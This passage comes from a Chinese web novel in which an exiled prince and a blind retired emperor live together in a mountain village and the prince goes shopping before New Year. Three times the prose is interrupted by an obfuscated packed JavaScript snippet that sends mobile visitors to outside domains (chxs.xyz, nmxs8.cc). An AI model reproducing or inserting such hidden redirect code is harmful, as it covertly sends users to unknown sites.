;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14965731|161039||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
应青炀看着面前这人淡漠的神情,只觉得有些奇异,他曾经在商贸集镇上见过很多琼州人,当今太上皇自琼州起兵,在这些人口中,对大梁太上皇的评价无一不是称颂。
而前朝国灭之后,带着他东奔西躲的这些大应人,提起太上皇总是恨不能啖其血肉,像姜太傅那样的嘴上贬损,已经是十分吻温和的一种了。
在这两种极端的言论中间,应青炀是永远会保持中立态度的那一个。
现在他眼前有了另一个。
江枕玉并不曾夸赞过太上皇的功绩,大部分的时候是像现在这样,只是简单的叙述事实,分析利弊,并没有偏袒的倾向。
应青炀隐约觉得不太对劲,这些关于时政的东西似乎就是姜太傅整天向往他脑子灌输的策论。也是大梁入仕所必须精通的高深学问。
莫不是他就着和江兄聊天的功夫,已然在策论上小有所成?
应青炀脑袋听得犯晕,回过神来又忍不住在心里震撼,心说江兄怕不是给他灌了什么迷魂汤,好悬快让他长出脑子来了。
应青炀晃了晃脑袋,给出了自己的分析:“我估摸着那位是对自己手下的大梁军很自信,不过说不定也对金陵有什么特殊情怀,比如我就很喜欢琼山。”
江枕玉闻言,将手里的茶碗轻轻放下,“为一己私欲定国策,不是明君所为。”
应青炀摊了摊手,轻哼一声,“那也只是一家之言,谁有证据能证明真的。只要不被人察觉,那就算不上是为己。”
江枕玉看不到他的表情,但想也知道是什么模样,估计尾巴都要骄傲地翘上了天。
他嘴角有一闪而过的笑意,恫吓道:“隔墙有耳。”
这话江枕玉已经说过多次,听在应青炀耳朵里和“狼来了”没什么两样。
应青炀还会有种莫名的,窥探到某种隐秘的快感,就和蹲在集镇馄饨摊听八卦一个样子。
江枕玉倒是真的像给他提个醒,这话在大庭广众下说出去,可是要被治罪的。
不过被冒犯的太上皇本人都没说什么,大梁境内恐怕也没有人敢揪这人翘起来的小尾巴。
江枕玉于是推了推茶碗,慢条斯理道:“凉了。”
“得嘞,小二来给您添茶。”应青炀起身给江枕玉倒茶。
轻微的水声响起,江枕玉心中平静,有种前所未有的安逸。
定都金陵,的确为一己私欲,史书工笔,修补得再好也掩盖不住他荒诞的作为。
江枕玉一向不喜欢别人揣测他的意图,只不过应青炀总会歪打正着,碰到冰山一角的真实。
他们常常会在一些与众不同的角度上,达成微妙的一致,就好像他们存在某种本质上的相似。
顶多是应青炀这个人表现得傻了点,总让江枕玉不想承认这点。
水声停了之后,江枕玉便下意识伸手接茶碗,等递到了嘴边才觉得不对,动作略微僵住了。
江枕玉:“……”已经习惯成自然了吗。
他觉得这个事实有些许残酷。
江枕玉停顿的时间久了,边上便又传来了熟悉的叫魂声。
“累了,休息。”他无情地放下茶碗,躺回了床榻上。
“行吧。”应青炀遗憾地住了嘴。
江枕玉方才后知后觉地发现,习惯是个多可怕的事情,在日复一日的相处中,他们竟和那些默契的挚友一样并无分别。
顶多是到不了伯牙绝弦知音难觅的程度。
黑暗里江枕玉近乎要在寂静中放空思维陷入睡眠,就听另一边的榻上,应青炀小声嘀嘀咕咕:“江兄你真的睡了啊?不来点什么夜话吗?明天我们讲什么?金陵边上还有姑苏,那边你也去过吗?”
即将梦会周公的江枕玉又被一把拽了回来。
江枕玉:“……”
算了。如果有机会他肯定要亲手断一下弦,试试能不能把这不成器的榆木脑袋崩响。
16.风雪已停
应青炀没过几天就把自己修改好的婚书交给了姜太傅。
他第一次这么信心满满地走进自家太傅的书房,神情骄傲得像是村口打架赢了的大公鸡。
边上陪读的阿墨都瞪大了眼睛,似乎从来没见过自家少爷在太傅面前这么自满过。
最常见的情况是被太傅数落得直不起腰。
应青炀小声对边上的阿墨唠叨:“这篇婚书江兄压着我改了不知道多少遍了,写完之后他还夸我来着,这次太傅绝对挑不出错处。”
说这话时他嘴角几乎要飞上天,俨然一副与有荣焉的样子。
应青炀觉得江枕玉那句“凑合”,对他来说已经是极高的评价了。
毕竟江兄可是他见过最有气质的读书人。
江枕玉的才学是体现在各个方面的,谈吐,见识,文采,甚至盲写在宣纸上的自己都自带风骨,极具个人风格,笔画张扬锋锐,和姜太傅完全不是一个风格。
虽说他满打满算也就见过这么两个读书人。
可惜一番炫耀都说给了阿墨这个木头,对方只是习惯性地附和着点头,满脸写着迷茫和不知所云。
阿墨不语,只是一味地赞同。
应青炀颇觉无趣,便把注意力放在了姜太傅身上。
他甚少见到姜太傅如此认真地研读一篇文章。
琼山里的藏书不多,一部分是在商贸集镇上买的,一部分是姜允之自己默写下来的。
姜允之是大应最负盛名的大儒,几乎能将所有经典著作倒背如流,也不必如此逐字逐句地浏览。
姜太傅此刻一脸严肃,他拿着那张宣纸将上面的婚书读了两遍,只觉得字里行间都充斥着另一个人的风格,好像那些零散的方块字生生挤了进去,生硬且强势,独属于应青炀的文字看不到多少。
这种嫁接感简直就是在明晃晃地告诉他,这并非是应青炀独立完成的作品。
甚至他都有点怀疑某个进行了指导的人是不是一个一个字帮忙纠正的。
他之前只觉得不省心的小殿下捡回来个麻烦,哪里想到还会有这样的意外之喜。
姜允之用手捋了捋花白的胡须,半响没说话,似乎在思考着什么重要的事。
应青炀看着久久不语的太傅,只觉扬眉吐气,正向和对方炫耀两句,就见姜太傅沉吟一声,将那张写满应青炀式鬼画符的宣纸翻了个面,在最上方写下一个题目。
《观雪》
知道应青炀下笔一向愿意以大取胜,几个大字就想把宣纸填满,装作自己已经完成了课业,姜太傅特地写了一行小字。
十分节约。
也特别为难人。
应青炀连平铺直叙的文章都写得七扭八拐,何况是有着韵脚这种东西的诗词歌赋。
写一篇就得要他半条命!应青炀能开开心心地活到现在就贵在有自知之明。
应青炀嘴角得意的笑还没维持多久,就在姜太傅这么一个标题的打击下乐极生悲。
他果断地脚底一转,嘴上十分迅速地冒出一连串的退堂鼓:“哎呀,出来的时候好像忘记放下挡风帘子了,太傅您先品读着,我回去办点事。”
两句话的功夫人已经快走到堂屋外了。
此时不跑更待何时!
姜允之半点没着急,他放下笔,慢条斯理道:“你之前说的事情我同意了。你可以跟着去商贸集镇置办年货,想要的费用我也批了。”
声音不大,语调平缓,边上走神的阿墨甚至没听明白太傅在说什么。
落跑的某人耳朵倒是够尖,或者说但凡对这小子有利的信息,估计会被自动收入耳中,颇有几分玄妙。
就见跑了一半的应青炀又一个急刹车,转头回来了。
“那多不好意思啊,有什么需要我做的只要您老人家一句话,我绝对给您办得漂漂亮亮的!”应青炀最会做的一件事就是能屈能伸,在自家太傅面前从来都是为达目的可以不要脸也不要皮。
凑过来时一张俊脸上的表情乖巧至极。
姜太傅看着他这幅不值钱的样子就气不打一处来,心说总是这样我行我素,何时才能成气候。
应青炀不想成气候,如果太傅想看估摸着也可以尽力表演一番。
姜允之明白点到即止的道理,只说:“前提是把这首诗写出来,起码”
“得令!”应青炀应了一声,完全没在怕的。
笑话,他现在可有江兄这么一个帮手在,写个诗还不是小菜一碟。
姜允之满意点头,再度拿起笔在宣纸上又补上了一连串诗题。
应青炀:“……”可恶!大意了!
他顿时脸都绿了。接过宣纸的动作苦大仇深。
*
应青炀因为这一句嘴快被折磨了好些时日,每天做梦都在写诗,他最喜欢的就是听见江兄那冷淡的一句“还算凑合”。
看似在骂他,实则在奖励他,那代表他的任务已经取得了阶段性成果。
江枕玉唯一的感受就是这人课业突然繁重了起来,而且不知为何多了点韧劲,从前写上几个字就嚷嚷着要放弃的人,居然没怎么喊过苦累。
只不过这人对着他叫魂的情况变多了。
尾音拖得老长,还带着点委屈的意味,总让江枕玉招架不住,一个没留神就差点秉烛夜谈。
江枕玉是在腊月末尾才知道来龙去脉。
应青炀结束了漫长的写诗折磨,拿着最后一篇诗稿离开时整个人都快高兴得飘起来。
江枕玉倒是没觉得去采购年节用品算什么好差事,只觉得这人好动得有些出乎预料。
他的左腿恢复得很好,最近已经撤下了夹板,开始尝试小幅度走路,可惜因为丧失视力,复建的进度十分缓慢。
应青炀欢天喜地地赶回来时,江枕玉正在沿着堂屋的墙壁向前走,可以一直顺畅地摸到小屋门口。
这条路他已经很熟了。
应青炀推开门时对方一手扶着墙壁,长身玉立,乌黑的发松垮束着,即便是农家的粗布麻衣也掩盖不了周身内秀的气度。
应青炀进门的脚步都慢了些。
片刻他才从那一瞬间的惊艳里缓过神来。
“江兄!好巧,我给你准备的礼物也到了,是最近指导我功课的谢礼!”
江枕玉刚想说一句拒绝的话,应青炀已然先一步扯住他的手,牵引他向前走了几步,随后江枕玉的手碰到了一个木质的东西。
“什么?”他不由得疑惑出声。
应青炀牵引着他的手缓慢摸索,掌心的体温传到江枕玉手背上,他有一瞬间走神。
下一刻又听应青炀说了一句:“坐。”
江枕玉回忆着方才的轮廓,终于认出这大概是一把椅子,他不知不觉被应青炀忽悠到了椅子上。
江枕玉蹙眉道:“屋子里有……”椅子。
后面的话没来得及说完,他便发觉身后的应青炀略一发力,椅子动了起来。
——应青炀不知何时给他准备了一个轮椅。
这是应青炀早前就和风叔说好的,对方那里有沈老爷子之前废弃过的,修修补补就又能用了,只不过工期比较长,江枕玉恢复得又快,估摸着这东西也用不了几天。
但为了不让风叔做白工,应青炀还是把东西推回来了,能用上一天就算值当。
应青炀推着江枕玉向前,出屋门之前还从门口的矮柜上拿下一个兽皮披风,细致地盖到他身前。
“我要跟着村里的叔伯去附近的集镇,你身体还没康复,不能带上你。”
江枕玉知道,今早出门前对方才兴高采烈地重复了好几遍,他当然不会忘,于是他点头以作回应。
应青炀推开门,拉开厚重的挡风帘子,推着江枕玉出了门。
一瞬间寒冷的空气袭来,刺骨的凉意中,应青炀又拢了拢披风,轮椅在门前停稳之后,他握住江枕玉的手,抬起指了指正前方,“这是南边,院子里有一小块菜地荒着,东边是农具架和一个菜窖。”
应青炀推着轮椅,边走边给他介绍院落里的陈设,没什么值得细说的东西,都是农家的寻常玩意儿。
江枕玉倒是在心里默默记下了大致的距离和方位,脑海里缓慢勾勒出一个模糊的地形图。
应青炀随后又事无巨细,把村子里的布局,人口组成都细致地一一讲解过了。
江枕玉静静地听着。
甚至还推着他在村子主路走了一圈,倒是没遇上几个人。
琼州这边的人,由于冬季太过漫长,人们习惯猫冬,遇不到人也正常。
到村东边的时候,隐约听到有吵架声。
“要不是太上皇当时定了那种决策,我们现在也不至于待在这种地方!你知道前几天附近的镇上冻死了多少人吗?雪灾就是报应!但凭什么要报应在我们头上!?”
“抱怨也没用,还是少说两句。”
江枕玉不自觉地侧了侧头。
应青炀不自觉地停了脚步,他似乎想抬手掩住江枕玉的耳朵,但又觉得欲盖弥彰。
“抱歉。江兄,刚才听到的话,请你不要说出去。村里人因为一些旧事,对太上皇有点小意见,你别见怪。毕竟以后估计还会天天听到的。”
少年人语气里带着点小小的恳求。
毕竟这种大不敬的话万一传到某些地方去,可是要掉脑袋的。
江枕玉完全理解。
他心里并无波动,这种话他听过太多,更加刺耳的也不是没有,他从不放在心上,也从不在意别人对自己的评价。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|14975793|161039||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“……什么旧事?”他突然开口问道。
应青炀视线飘了一下,脑子里紧急思考着瞎话,随口就开始忽悠:“唔……我们是从其他地方逃难到琼州的,为了维持生计,最开始那几年是给琼州府的一些世家大族当雇农为生。”
“后来大梁军打压了不少氏族,立法开始均田,琼州这边格外严苛。”
“这事影响了营生,我们过了一段时间苦日子,后来靠着山里的药材才慢慢把日子过好了些。因此有些怨气也在所难免。”
琼州府是群雄逐鹿时最富庶、人口最多的地方,作为当今太上皇的大本营,算是大梁曾经的核心,要不是琼州过于偏远,大梁或许会将琼州府设为国都。
新朝初立时各地土地兼并的情况格外严重。
毕竟是个多方混战的年代,各地都是大小王,被强征去的土地多如牛毛,不把土地归还给农户,之后农民起义的情况也在所难免。
太上皇从琼州开始挨个收拾,一直持续了两年,这场声势浩大的均田活动才停止。
江枕玉听罢,点头表示理解。
任何政策的实施,既然有受益的一方,就必然会有损失利益的一方。
平民百姓不会去思索其中的深意,只会在意是否触及到自己的利益,人之常情罢了。
他心里本没什么波动,只是听到“苦日子”三个字之后若有所思。
江枕玉于是语气冷淡道:“当初那政策手段的确激进,抱怨得也没错。”
应青炀挠了挠头,听着对方附和的话却没觉得有多开心,他道:“话不能这么说,起码琼州本地的百姓生活好了不止一星半点。只是我们来得不巧。”
只是他们这些前朝的孤魂野鬼,已经没有什么合适的容身之所。
又怎么能再奢求太多。
江枕玉嘴唇嗫嚅,最终什么也没说。
他早就发现了,应青炀对某个高高在上的太上皇,态度有些微妙。
作为当事人,他竟然也有些捉摸不透。
应青炀早已习惯了江枕玉偶尔的沉默,便单方面认为这事已经翻篇,推着他往回走。
两人又在隔壁院子里看到了劈柴的雷叔和阿墨。
应青炀那爱护的模样被陈雷看在眼里,他没忍住还和身边的阿墨蛐蛐了两句:“阿阳看起来是真的上心了,瞅瞅这副守妻奴的样子,以后不会是个耙耳朵吧?”
阿墨只听懂了“阿阳”、“上心”、“妻子”这几个词,于是点头道:“应该的。”
陈雷:“……”他就多余和这孩子说这话。
那边主院的小屋门前,应青炀还在和江枕玉唠叨。
“和我相熟的叔伯都住西边,阿墨……就是之前来帮忙搬过东西那个傻大个,他住得最近,有事你就在门口喊他,他会过来帮你。”
“说过三次了。”江枕玉提醒他,又问:“我看起来很没有自理能力?”
应青炀一噎,“那绝对没有,我就是怕你……也不是……就是不太放心……”
面对这场短暂的分离,他似乎有种微妙的焦虑。
他语气里的低落并不陌生,江枕玉循声“看”去,发现对方似乎正蹲在自己面前,他视线几乎可以和对方保持在同一水平线上。
这是很舒适,也很展现尊重在意的一个姿态。
江枕玉知道,自己只要一伸手,便能触碰到应青炀的脸,摸出应青炀的骨相。
一个多月的相处,碍于伤病,他甚至还不清楚这人的相貌如何。
这足够牵引他的好奇心。
他垂放在身前的手微不可查地挪动了少许。
很奇怪,他们每天无数次交谈,却从来没有那个人提过“离开”这个词汇,好似默认他会留在这里。
小院门前,心照不宣的沉默里,竟有一种无形的紧张。
片刻后,江枕玉抬手拢了一下肩上毛茸茸的披风,开口问道:“多久回来?”语气平静得和日常聊天没什么区别。
应青炀眨了眨眼,脸上绽开了雨过天晴的笑容,“最多两日!赶着点一日也成!我保证很快的。”
江枕玉蹙眉,“冬日路滑,安全为上。”
应青炀“嘿嘿”一笑,“遵命!”
他哼着不知名的小调推着江枕玉回屋。
到门口时,江枕玉制止了他要继续往前的动作,只说自己要在门口透透气。
应青炀细心给他掖了掖衣角,“我保证很快回来!外面风冷,早点回去!”
“知道。”江枕玉应了一句。
于是应青炀的脚步声逐渐消失在耳边,山野之间万籁俱寂,无端让人有种空旷的感觉。
江枕玉这才发现。
不知是从什么时候开始,这场席卷大梁的雪灾已经彻底停了。
17.江南衣饰
江枕玉坐在冷风中,自坠崖醒来之后,他第一次感觉到了安静。
静得能听到他自己的呼吸,仿佛天地之间只留下他一人,从前习惯过的孤寂,此刻却像一柄钝刀,缓慢地在心口处研磨。
说来有些让人惊讶,他来到这个荒村的每一天,都在那人的吵闹下度过。
和他这个半只脚入了土的人对比,少年人精力旺盛,每天醒得早睡得晚,像个小喇叭,每天在他身边转来转去,总有说不完的话,问不完的问题。
就好像一个喧闹的梦,如此漫长又如此真实,以至于梦醒之后,甚至让人感受到细微的冷意,留下的空落感如此折磨。
当对方离开之后,江枕玉才能真切的触碰到现实,并且久违地回忆起了过往。
他在这里呆了多久了?
估摸着不到两月,却几乎能将他的回忆塞得满满当当,国都、朝堂、疆场,都一并抛之脑后。
如果江枕玉还是从前那样的身份,还是从前那个为了大梁百姓鞠躬尽瘁的太上皇,他的第一反应应该是思考这是不是一场针对他的阴谋。
为了让他沦陷在这里,在荒凉的深山,缓慢地忘却曾经。
思及此,他脑海中应青炀那少年人的形象却没有发生多大改变。
硬要说的话。
那整天蹦蹦跶跶的小孩儿,头顶似乎冒出了毛茸茸的狐狸尾巴。
这算什么?美狐计?
曾经的大梁太上皇顶着门前的风雪,脸上的表情淡漠,那是他一惯的遮掩,已经在漫长的人生中成为了一种本能。
在任何时候都不能将自己的情绪表露人前,这是江枕玉早已学会的必修课。
冬日里的寒冷足够让他的头脑清醒,并借着这个独处的时间简短地回忆这两个月来的经历。
他从来不吝以最深的恶意揣测他人,应青炀也不是个会掩藏的性子,不想放他离开这个想法,几乎要明明白白地说出口来。
是为了他欠下的银钱?还是其他的什么?
江枕玉心里有了一个模模糊糊的答案。
如果他想要离开这里,方才就是个很好的机会。
琼州的任何一个商贸集镇,都不可能脱离大梁太上皇的掌控,他已然有了无数种方法可以离开这里。
然后呢?一个已经被昭告身死的太上皇,就算离了这里,又有何处可去?
男人沉默着,坐在门边的木轮椅上,像是寒玉一般的美人图。
片刻后,一阵风来,房檐上的一片雪花被垂落,轻落在江枕玉眉间。
似乎有几句抱怨顺着雪花飘在耳边。
“不能长时间吹风!得了风寒又要重新养病,好不容易最近看起来健康了些,怎么又这么不小心……”
江枕玉眨了眨眼。
轻薄的眼纱之下,他眉目低垂。
他于是抬起手,扯住门口的厚帘子,准备关上这遮挡的帘子,把自己藏进墙屋之内。
然而他的动作还没有做完,就听院外远远地传来一阵脚步声。
缓慢而有力,似乎正在逐渐靠近。
江枕玉的动作停住了。
他本就耳力极佳,经历过近两月的盲人生活,此刻更是敏锐地几乎能通过脚步声判别身份。
村里的人他见过不少,来给他送过衣服的沈裁缝,承担村里砍柴工作的几个青壮年,来给应青炀送过吃食的几位婶子……
但没有一个人的脚步声能和此刻耳边的声音重叠。
大概是阴差阳错,也可能是故意为之,他没有和来人见过。
思索间,一道苍老的男声由远至近,“这些时日,那小子多亏有你照拂,长进不小。”
江枕玉的手回落到轮椅扶手上。
男人长发松散,白色轻纱遮掩,面容犹带病色,却仍无法压住玉琢似的俊美,他端坐在轮椅上,脊背挺拔如松柏。
“夫子过誉了,是他本就聪慧。”
*
年节前的物资采购是村里的固定行程,从前都是新年前十天就置办完一些必备的物品,今年略微晚了些。
没办法,这场雪灾之下,最遭殃的还是琼州,大雪封山,道路难行,村里提前探过路,也是没办法才把采买的日子拖得这么晚。
应青炀原本也不在随行人员的队列里,一是他身份不宜去人群太密集的地方,二是这臭小子乱花银子,姜太傅因为身子骨不好不能奔波,一开始真没准备放他出去撒欢。
只能说这是一场姜太傅临时起意的交易,而结果双方都还算满意。
应青炀迈着轻快的脚步一路跑向村口,远远看到那辆眼熟的驴车,立刻抬手挥了挥。
驾车的是季成风,嘴里还叼着个干枯的草叶,“不用着急,路滑当心摔着。”
应青炀显然不是个听话的主,不但加快了脚步,距离拉近之后还一脚踩到车辙边缘,动作轻巧地跃到车上,“风叔,咱们快去快回,争取不用一天就赶回来。”
季成风一挑眉,“你当这驴车是千里马呢?哪能这么快?”
嘴上虽然这样数落着,但他还是抬手便扯了下缰绳,姜太傅的宝贝毛驴便慢悠悠地挪开了步子。
临走之前,季成风向村里小路的方向瞥了一眼,隐约看到一个身影向应青炀的小院走去。
他抬手将手边的一小包干粮扔给应青炀,借着这个动作瞥了小殿下一眼,只在少年的脸上看到了欣喜,其余的半点也无。
季成风忍不住在心里叹了口气,感慨姜太傅还是这么老奸巨猾,把小殿下玩弄于股掌之间。
也是,应青炀年纪还小,心思也单纯,怎么能想到姜太傅还有后招。
起码在季成风眼里,姜太傅对这位来历不明的人始终抱有警惕心。
风叔眼里单纯无害的小白兔,此刻正在拆那袋干粮,并且偷偷拿出了一小部分蜜饯,趁着风叔没有注意到他,赶紧收到了自己的袖口里。
他那里就快没有存货了,得赶紧补一点。
随后美滋滋地坐在那里数自己从姜太傅那里拿来的钱袋。
顺便偷偷把某个自己从砖缝里拿出来的小金库也拿出来数了数,灰色的布料里装着一点形状古怪的碎银子,像是从什么摆件上硬敲下来的。
数完之后往怀里又藏了藏。
季成风也对外来人有些戒心,他有意试探,便开口问道:“殿下,我记得集镇也有驿馆,那人没说要带点消息出去?这山外的人,不可能一个亲眷都没有吧?”
这个话题他们还真的聊过,所以应青炀答得十分坦荡:“他说自己已经没有亲朋,进了山也没打算活着回去。”
和他当初设想的没什么差别,一个心存死志的人,恰巧被他救了。
也不知道江枕玉是因为什么妥协的,会不会是因为觉得和他同住的日子也不赖,所以不想死了?
应青炀边想边傻笑出声。
季成风看着情形,便知道从小殿下嘴里问不出什么,他无奈地摇了摇头,放弃了继续这个话题。
季成风边驾车边叮嘱道:“这次你就跟着去玩,太傅说了给你的钱都可以用,但不能买些没用处的东西。”
临行前,姜太傅千叮咛万嘱咐,要让随行的人控制住应青炀胡乱撒钱的手,不能让荷包里的血汗钱随随便便流进奸商的口袋。
否则的话,转眼间就能看到应青炀买了一堆垃圾回来。
有时候是破旧的毛笔,半个碎裂的砚台,有时候是折断的一柄匕首,有时候是断了骨的折扇。
只有你想不到的,没有应青炀不会买的。
应青炀一边点头如捣蒜,一边口是心非:“我也没有什么东西特别想要,只是想去成衣铺看看。”
季成风头一次在小殿下口中听到这么听话乖巧的要求,一时间感动得眼泪都快下来了,“确实该置办件新衣服,老沈到底是半路出家的裁缝,衣服也就是勉强能穿……我就说殿下懂事,太傅还不相信。没事,要是不够,我这里还有点私房钱。以后出山谋大事也是一样,省不得。”
“哎!谢谢风叔。”应青炀笑眯眯地应了,自动屏蔽了结尾那句。
荒村的位置太过偏僻,和附近最近的商贸集镇之间也有一段距离,饶是季成风已
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|14987068|161039||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
经十分熟悉山路,两人路上也花费了不少时间。
出来的时候是清晨,到了之后已经接近晌午。
季成风负责去采办一些年节用品,应青炀□□脆地放养了。
实际上整个村子里也就姜太傅看他和看犯人一样,其他长辈对孩子还是十分溺爱的。
不过应青炀说的要去成衣铺也是真的。
新年将至,哪怕是琼州这种偏僻的地界,年节的气氛也格外热烈,各个店铺张灯结彩,使尽浑身解数,就为了吸引几个客人进来。
只不过大概是因为雪灾刚刚褪去,街上并没有太多行人。
应青炀本来没有那么怕冷,在驴车上晃悠了一上午,这回儿也忍不住搓了搓手,缩着肩膀窜进了成衣铺。
成衣铺门可罗雀,毕竟这边还是村镇偏多,人们都习惯自己缝制衣装,能到这里光顾的大多都是往来的商人,想将琼州特有的衣饰运到中原地区贩卖。
可惜年节底下,往来的行商也没有多少,成衣铺前台的小姑娘裹着厚棉袄,手里拿着汤婆子正在打瞌睡。
应青炀的脚步声将她惊醒,人都没看清嘴里就冒出一连串的推销:“小郎君,有什么需要的,上面挂着的成衣都可以看看,如果是需要定制的话,年节前是赶不上了。”
应青炀虽然穿得不想富庶人家,但长相和那挺拔的身姿,还是让半梦半醒中的小姑娘看出了潜在的商机。
“你这有没有白色的男式成衣?”应青炀随口问了一句,眼睛已经在上方挂着的成衣堆里逡巡。
琳琅满目的衣饰,基本都是琼州乃至关外地界的特有服饰,应青炀见过中原地区来的行商,能分辨出一些微妙的不同。
而且琼州地区的特点就是服饰非常鲜艳,大概是民风热情淳朴的缘故,服饰也表现出了同样的特征。
眼睛只在屋子里转了一圈,应青炀便有些失望,这个成衣铺里并没有他想要的款式,甚至连颜色都对不上。
偶尔有几件青色的,料子带纱,上边的刺绣还是青色的梅花,不但让人觉得不是很保暖,还带着点轻浮感。
小姑娘手脚十分麻利地拿起杆子,撤下了第一排的衣服,下面浅色系的成衣接连露出来。
“白色的在这边,咱们这地脚风沙大,一年半载也没人来买这种颜色的,所以都放起来了,客官看看。”
应青炀一眼就看到了角落里的哪一件,白色的锦袍,上面浮着亮银色的刺绣,花样应该是松竹,长袍加上银色的腰封,从裁剪到制式看着就不属于琼州地界。
怪不得被放在角落里。
原谅应青炀见识浅薄,他分辨不出那到底是什么地区的服饰,只是觉得十分风雅,就是文人雅士应该穿的。
“那件。”应青炀指了指,随后粗略估计了一下尺寸,觉得大差不差,于是便开口询问:“要多少银钱?”
小姑娘似乎有些惊讶他会选择这件衣服,“这是之前从中原行商那里收来的,成本很高,因为不是琼州这边的风格,一直无人问津。”
而且衣服做得有些偏长,寻常男子都穿不合身,会滞销也是理所当然。
“客官您想要的话,只要成本价就可以带走。”小姑娘一脸肉痛,好像吃了大亏,嘴里一点不含糊地报出价格:“只要七两银子。”
应青炀听得心里一凉。
这个价格多少有些超预算了,如果买了料子带回村里,估计整村人的年节新衣都能裁得出来。
应青炀着实有些囊中羞涩,虽说带了私房钱,但也不至于还没有货比三家就急着撒钱。
这镇上也不是只有这一家成衣铺。
“算了。”应青炀说着便一个转身,“我先去别家看看……”
小姑娘见他要走,竭力用自己三寸不烂之舌尽力挽留,“虽然价格贵了些,但料子真的是极好,样式也是江南一带流行的款式,客官您也很中意的对吧!据说江南一带的文士都穿这种衣服呢!”
“江南”二字一出,应青炀便有些迈不开腿。
片刻后他转身走回来,语气硬邦邦地问:“你刚刚说什么价格?”
18.犹在梦中
应青炀对服饰类的东西没什么研究,但那件白色的所谓江南服饰的确深得他心,勾得他没怎么仔细思索,稀里糊涂地就付了钱。
转身回去的那一瞬间他还是很有骨气的,绷着脸准备和店家讲价。
没想到那小姑娘巧舌如簧,一通什么“穿上这衣服肯定有江南才子风范”“若是送给亲朋对方肯定喜欢”“毕竟是年节时的礼物总不能太寒酸”之类的推销话术,把应青炀唬得一愣一愣的。
那“江南”二字就像是什么迷魂汤,一直到出了门之后,应青炀还没反应过来,觉得自己捡了大便宜。
他站在成衣铺门口,手里捧着店家特地包装起来的礼盒,心里一半是雀跃,一半是心虚。
别看他平常也经常买些乱七八糟的玩意儿,但一次花费这么多银钱也是头一次。
果然姜太傅才是最了解他本性的那一个,天生做不到守财的人的确不应该管钱。
应青炀把自己瘪了的荷包收起来,用一块不起眼的麻布将礼盒包了起来,这才动身准备去寻采买物资的风叔。
他还没走几步就被人叫住了。
“小郎君!留步!留步!”声音由远及近,似乎有人正脚极快地从身后赶来,应青炀极其敏锐地向侧方迈了一步,堪堪躲过一只即将放到肩上的手。
少年人眼里一丝警惕一闪而过,转头看见来人时,又迅速消退而后被遮掩到最深处。
这是个穿着一身琼州特有服饰的中年人,戴着一个风毛很厚的帽子,身上挂着各种各样的细小装饰,与其说是在装饰自己,更像是在拿自己当一个商品架子。
这是商贸集镇上,一些行商的惯用伎俩。
他们走南闯北,没办法随时随地组装商品架子,更不可能有自己的铺面,于是习惯于把自己的卖点更直观地展现给过路人。
这人堆满谄媚笑意的脸上,随处可见独属于商人的精明,看着应青炀的眼神仿佛在看什么肥羊。
两人的确已经是老相识了。
“程先生,年节底下也出来讨营生?”应青炀疑惑地询问出声。
这位姓程的商人连连点头,从怀里摸出一个小布包。
“也是凑巧,我本来已经准备回乡,走之前刚好遇上小郎君。”程商人神神秘秘道:“我这边有个新鲜货,保真,小郎君有没有兴趣?”
应青炀低头撇了一眼,那布包遮得严严实实,看不出里面到底装着什么东西,这也是行商的惯用伎俩,或者说,对应青炀这种好奇心旺盛的人的惯用伎俩。
两人往来次数极多,应青炀知道里面是些什么东西,大概又是什么讨人喜欢的新鲜玩意儿,从大梁各地搜罗来的,这姓程的都有,也不知道对方到底哪里来的门路。
程商人继续加码:“这据说是太上皇游历蜀中时在一个馄炖摊上提的字,老板妻子重病,才把这东西转卖给我,只要一百文!立刻就可以带走!这么好的机会不要错过啊。”
应青炀的视线不由自主地跟了过去,随后他强制自己抱紧手里的包裹,连连摆手,“不必,最近手头有点紧。”
应青炀不想和这人过多纠缠,他也知道自己在这方面没什么定力,只能用最笨的方法捍卫自己的荷包。
——三十六计走为上!
他脚底抹油似的,几秒功夫就窜出去老远。
程商人走南闯北,腿脚也不是盖的,立马跟上,“等下等下,小郎君毕竟是我的大客户,这样,给你省个一半,爽快吧?过了这村可就没这店了,小郎君真的不好好考虑一下吗?”
两人在集镇街上一前一后地追逐。
也不知道是年根底下有多缺钱,又有多不想放过应青炀这个冤大头,程商人和个狗皮膏药似的,追着应青炀跑了一路。
“你……真的,应该考虑一下……这要是年后有人需要……我可不会帮你留着……”
“那你就……卖给别人……”
两人气喘吁吁地停在路边,脸上是十分相似的生无可恋。
程商人还想继续推销,应青炀已然想到的绝佳的应对方法。
他一脸深沉地说:“程先生。今时不同往日,我是真没有闲钱再买这些东西了。”
程商人累得龇牙咧嘴,“怎么说?”
